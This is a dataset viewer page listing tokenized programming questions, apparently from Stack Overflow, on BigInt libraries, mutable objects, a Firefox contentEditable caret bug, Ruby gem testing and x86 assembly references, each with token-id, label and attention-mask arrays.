1145,
112,
1990,
2982,
702,
872,
9,
800,
3726,
3726,
19,
14,
249,
610,
31,
22,
79,
2555,
21,
2414,
150,
29,
454,
106,
1100,
20,
32,
47,
19,
227,
1990,
18906,
1285,
14,
454,
106,
1923,
5139,
301,
65... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
C or C++ BigInt library on Microsoft Windows
===
What arbitrary-precision integers (and or rationals) library are there for compilers running on Microsoft Windows, and which would you recommend?
Please state license type / cost, supported compilers (i.e. GCC and or VC++) for the library. | 0 | [
2,
272,
54,
272,
20512,
580,
6391,
1248,
27,
7099,
1936,
800,
3726,
3726,
98,
17237,
8,
3515,
7654,
872,
13820,
18,
13,
5,
290,
54,
7511,
18,
6,
1248,
50,
80,
26,
21486,
18,
946,
27,
7099,
1936,
15,
17,
56,
83,
42,
12360,
60,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
Mutable vs immutable objects
===
I'm trying to get my head around mutable vs immutable objects. Using mutable objects gets a lot of bad press (e.g. returning an array of strings from a method) but I'm having trouble understanding what the negative impacts are of this. What are the best practices around using mutable objects? Should you avoid them whenever possible (apart from e.g. the simple string object)? | 0 | [
2,
2832,
5924,
4611,
797,
7903,
579,
3916,
800,
3726,
3726,
31,
22,
79,
749,
20,
164,
51,
157,
140,
2832,
5924,
4611,
797,
7903,
579,
3916,
9,
568,
2832,
5924,
3916,
3049,
21,
865,
16,
896,
901,
13,
5,
62,
9,
263,
9,
2485,
40,... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
Firefox 3.03 and contentEditable
===
I'm using the contentEditable attribute on a DIV element in Firefox 3.03. Setting it to true allows me to edit the text content of the DIV, as expected.
Then, when I set contentEditable to "false", the div is no longer editable, also as expected.
However the flashing caret (text input cursor) remains visible even though the text is no longer editable. The caret is now also visible when I click on most other text in the same page, even in normal text paragraphs.
Has anyone seen this before? Is there any way to force the caret hidden?
(When I either resize the browser or click within another application, and come back, the caret magically disappears.) | 0 | [
2,
535,
18219,
203,
9,
3601,
17,
2331,
69,
242,
579,
800,
3726,
3726,
31,
22,
79,
568,
14,
2331,
69,
242,
579,
35,
14755,
27,
21,
13,
12916,
4520,
19,
535,
18219,
203,
9,
3601,
9,
2697,
32,
20,
1151,
2965,
55,
20,
9392,
14,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
Ruby gem testing before deployment
===
I'm creating a gem which has
- several scripts in the bin directory
- the utility classes in the lib directory
- and several tests in the test directory
<pre>
supertool
bin
toolA
toolB
lib
supertool
supertool.rb
helper.rb
test
tc_main.rb
tc_etc.rb
</pre>
Now, to run the tests before I even install the gem, I have the following snippet at the top of my tests:
base = File.basename(Dir.pwd)
if base == 'test' || base =~ /supertool/
Dir.chdir('..') if base == 'test'
$LOAD_PATH.unshift(Dir.pwd + '/lib')
Dir.chdir('test') if base =~ /supertool/
end
This seems tedious though, especially if I have to put these in the scripts in the bin directory too. Is there a better way of setting up the environment so we can test gems before they are installed? I'm sure it's something simple that I just can't find. A simple link to the right place would help a lot :) | 0 | [
2,
10811,
8551,
4431,
115,
10475,
800,
3726,
3726,
31,
22,
79,
2936,
21,
8551,
56,
63,
13,
8,
238,
17505,
19,
14,
4511,
16755,
13,
8,
14,
10082,
2684,
19,
14,
13,
8326,
16755,
13,
8,
17,
238,
4894,
19,
14,
1289,
16755,
13,
1,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
Some x86 ASM Reference/Tutorials?
===
I'm trying to find some references in regards to x86 Assembly languages. Tutorials/Examples to help my understanding.
-Thanks | 0 | [
2,
109,
993,
3274,
28,
79,
2801,
118,
2473,
9819,
192,
18,
60,
800,
3726,
3726,
31,
22,
79,
749,
20,
477,
109,
7231,
19,
14179,
20,
993,
3274,
1475,
2556,
9,
29724,
18,
118,
29041,
18,
20,
448,
51,
3260,
9,
13,
8,
9107,
3,
0... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.